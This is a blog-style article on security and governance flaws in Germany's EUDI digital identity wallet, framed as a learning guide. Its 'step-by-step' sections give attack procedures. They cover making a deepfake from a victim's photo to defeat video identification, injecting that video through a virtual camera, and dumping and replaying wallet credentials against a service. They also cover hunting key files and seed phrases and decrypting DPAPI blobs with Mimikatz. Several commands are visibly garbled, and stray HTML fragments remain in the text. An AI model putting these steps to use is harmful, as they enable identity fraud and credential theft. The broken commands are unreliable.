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Introduction:
Germany’s highly anticipated digital identity wallet, the EUDI-Wallet, is set to launch on January 2, 2027, but serious questions remain unanswered. The project is plagued by missing core functions, unresolved security issues, weak project management, and a concerning dependence on proprietary US big tech services for core identity verification. For cybersecurity professionals, this represents not merely a national embarrassment but a dangerous blueprint for systemic vulnerability.
Learning Objectives:
- Analyze the core security and governance failures in Germany’s EUDI-Wallet implementation.
- Understand the technical and geopolitical risks of using proprietary attestation services for state-issued digital identities.
- Identify practical vulnerabilities in digital identity architectures and apply system hardening and monitoring techniques.
- Develop mitigation strategies for common identity wallet attack surfaces, including the “Onboarding Problem” and hardware key theft.
You Should Know:
1. The “Google-Apple Dependency” That Destroys Digital Sovereignty
The German wallet’s technical documentation reveals that the activation process for Android devices requires Google Play Integrity, and for iOS, Apple App Attest. This means any device without Google Play services—such as those running custom ROMs, de-Googled Android, or unlocked bootloaders—will likely be unable to use the state-issued identity. This locks German citizens into the ecosystems of two US corporations for a core state function, effectively ceding digital sovereignty to foreign commercial entities. In contrast, a truly secure, sovereign wallet would use hardware-based remote attestation (e.g., using the phone’s Trusted Execution Environment or a smartcard).
Step‑by‑step guide explaining what this does and how to use it:
To understand and mitigate the risks of proprietary device attestation dependencies, security teams can use monitoring and forensic tools to detect when and how an application checks for Play Integrity.
For Android (using a rooted device with Magisk and LSPosed), you can intercept and analyze the attestation calls:
1. Enable verbose logging for Play Integrity APIs adb shell setprop log.tag.PlayIntegrity VERBOSE <ol> <li>Monitor live logs for attestation requests adb logcat | grep -i "playintegrity"</p></li> <li><p>If you have Xposed/LSPosed installed, use the 'IntegrityWizard' module to intercept and modify the DroidGuard response to simulate passing the check (for testing security boundaries).
For Windows (analyzing a companion PC application), you can use Fiddler or Burp Suite to proxy and inspect the API calls that validate device integrity:
Install Fiddler Everywhere (requires admin) winget install Telerik.FiddlerEverywhere Configure to decrypt HTTPS traffic and monitor outbound requests to: - https://playintegrity.googleapis.com/ - https://android.clients.google.com/auth
For Linux (using tcpdump and Wireshark), capture traffic to see if a wallet app is phoning home to Google or Apple:
Capture traffic to Google's attestation endpoints sudo tcpdump -i eth0 -s 0 -w attestation_capture.pcap 'host playintegrity.googleapis.com' Analyze the dump for any sensitive token leakage tshark -r attestation_capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri
2. The “VideoIdent Onboarding” Catastrophe: AI-Powered Identity Theft
Before a citizen can use the wallet, their identity must be “onboarded” and linked to the device. The German government is considering video-based identification (VideoIdent) for this process. However, the BSI and France’s ANSSI have jointly warned that VideoIdent is fundamentally vulnerable to scalable, repeatable attacks including presentation attacks (e.g., deepfakes) and injection attacks (e.g., sending forged video streams). The CCC successfully circumvented VideoIdent procedures using simple methods. With modern generative AI, a stolen set of a victim’s photos is sufficient to bypass liveness checks.
Step‑by‑step guide explaining what this does and how to use it:
Security researchers and red-teamers can test the resilience of video-based identity verification systems using AI tools.
1. Generating a Deepfake for Presentation Attacks (Linux):
Use the open-source tool `roop` or `FaceSwap` to create a synthetic video.
Install roop (requires Python, pip, and a decent GPU) git clone https://github.com/s0md3v/roop cd roop pip install -r requirements.txt Swap a single source face (victim.jpg) onto a pre-recorded "liveness" video (source_video.mp4) python run.py -s victim.jpg -t source_video.mp4 -o attack_video.mp4 --execution-provider cuda Using FFmpeg to test for basic liveness detection failures ffmpeg -i attack_video.mp4 -vf "fps=1" -frames:v 10 frames/frame_%04d.png
2. Simulating an Injection Attack for Windows:
Use OBS Studio to stream the deepfake video as a virtual camera, then route it into the Wallet’s video-verification window.
Install OBS Studio (via winget) winget install OBSProject.OBSStudio Install the virtual-cam plugin (built-in in OBS 28+) Then, in OBS: Tools -> VirtualCam -> Start For advanced injection, use a Python script with OpenCV to send frames directly to a WebSocket pip install opencv-python websockets asyncio
3. Hardening Your Own Onboarding (Mitigation for Developers):
To prevent these attacks, always combine face matching with a second, independent channel. Require the scanning of an NFC chip from a physical ID card or a short-lived OTP sent to a registered phone number. Never rely solely on video biometrics.
- The “Signed Credentials” Snapshot Vulnerability: Data Leakage Forever
The wallet uses “signed credentials” (verifiable credentials) that contain a cryptographic seal of authenticity. Once a credential is issued, its signature remains valid forever, regardless of whether the credential is revoked or the user’s context changes. If a criminal obtains this signed data—by intercepting it in transit, stealing it from a poorly secured server, or extracting it from a compromised wallet—they possess a permanently authentic data object. They can replay it indefinitely to impersonate the victim. This is a fundamental flaw in many SSI implementations when revocation mechanisms are not mandatory and enforced for every presentation.
Step‑by‑step guide explaining what this does and how to use it:
For penetration testers and forensic analysts, here’s how to extract and replay a verifiable credential to demonstrate the risk.
- Extracting a Stored Credential from an Android Wallet (requires root):
Identify the wallet's package name adb shell pm list packages | grep -i wallet Use 'run-as' if debuggable, or use 'adb root' and navigate to its data directory adb shell su cd /data/data/com.example.wallet/databases/ sqlite3 wallet_data.db "SELECT FROM credentials;" Dump the raw JWT or JSON-LD credential to a file (credential.jwt)
2. Replaying the Credential for Unauthorized Access (Linux):
Assuming the service uses an OID4VP (OpenID for Verifiable Presentations) endpoint.
Install jq for JSON processing
sudo apt install jq -y
Decode the JWT payload to view claims
jq -R 'split(".") | .[bash] | @base64d | fromjson' credential.jwt
Replay the credential by crafting a presentation submission POST request
curl -X POST https://target-service.com/api/present \
-H "Content-Type: application/json" \
-d '{"presentation_submission": {"definition_id": "access_request"}, "vp_token": ["'$(cat credential.jwt)'"]}'
3. Mitigation: Implementing Status Lists and Revocation Checks:
Developers must implement a status list registry (e.g., using Bitstring Status List or Revocation Registry on a distributed ledger). A wallet or verifier must check the revocation status every time a credential is presented.
4. The “Key Theft” Nightmare: Hardware vs. Software
The security of the entire wallet relies on the confidentiality of its private keys. If an attacker can extract the private key from the device—due to a lack of hardware-backed key storage—they can completely impersonate the user. Basic software-only wallets store keys in the device’s flash memory, which can be extracted via forensic tools.
Step‑by‑step guide explaining what this does and how to use it:
This guide demonstrates how to extract weakly stored cryptographic keys from a compromised device and how to properly enforce hardware-backed security.
- Weak Key Extraction from Linux (extracting from a file):
Many software wallets store keys in plaintext or base64-encoded files.Find wallet key files find ~/ -1ame "key" -o -1ame "wallet" -o -1ame ".pem" Extract private RSA key if weakly stored openssl rsa -in weak_key.pem -text -1oout Extract base64 encoded seed phrase grep -r -E "([a-z]+ ){11,15}" ~/.config/wallet/
2. Weak Key Extraction from Windows (DPAPI cracking):
If the wallet uses Windows Data Protection API (DPAPI) without hardware-level TPM.
Use Mimikatz to decrypt DPAPI blobs (requires admin) mimikatz dpapi::blob /in:"%APPDATA%\Wallet\encrypted_key.bin" /unprotect
3. Enforcing Hardware-Backed Key Storage (Android/StrongBox):
Developers must use the Android Keystore with the `isStrongBoxBacked` flag and require user authentication for each key use.
// Kotlin/Java snippet for Android val keyGenParameterSpec = KeyGenParameterSpec.Builder( "hardened_key", KeyProperties.PURPOSE_SIGN) .setDigests(KeyProperties.DIGEST_SHA256) .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PKCS1) .setUserAuthenticationRequired(true) // FORCE biometric/auth .setUserAuthenticationValidityDurationSeconds(-1) // Require every time .setIsStrongBoxBacked(true) // REQUEST HARDWARE .build()
What Undercode Say:
- Key Takeaway 1: The German EUDI-Wallet project is a textbook case of how not to implement national digital identity. Core issues like “Google dependency” and “unsigned revocation” are not minor oversights but architectural fundamentals.
- Key Takeaway 2: The security community’s warnings (BSI, ANSSI, CCC) about VideoIdent were published years ago and were ignored. This pattern of ignoring expert advice will almost certainly lead to a large-scale compromise shortly after launch.
Analysis: The project’s fundamental flaw is its failure to recognize that a digital identity wallet is not a convenience app; it is a critical piece of national security infrastructure. By treating it as a standard IT project, under the management of an agency (SPRIND) not suited for large-scale security programs, and by outsourcing core trust properties to US tech giants, the German government has built a system that is vulnerable by design. The lack of an independent BSI security assessment prior to launch is a major red flag. The upcoming “solution” will likely involve expensive “trust services” and liability waivers for the state, placing the burden of fraud on the citizen.
Prediction:
- -1: The EUDI-Wallet will face its first major security breach within the first six months of launch, most likely via a large-scale VideoIdent deepfake attack, leading to widespread identity fraud.
- +1: The inevitable failure will force a complete architectural rethink, driving future development of truly sovereign hardware wallets based on open standards like FIDO2, regardless of the immediate cost.
- -1: The dependency on Google Play Integrity will be weaponized by geopolitical adversaries to degrade service availability for German citizens during heightened tensions.
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Reported By: Bernhard Biedermann – Hackers Feeds
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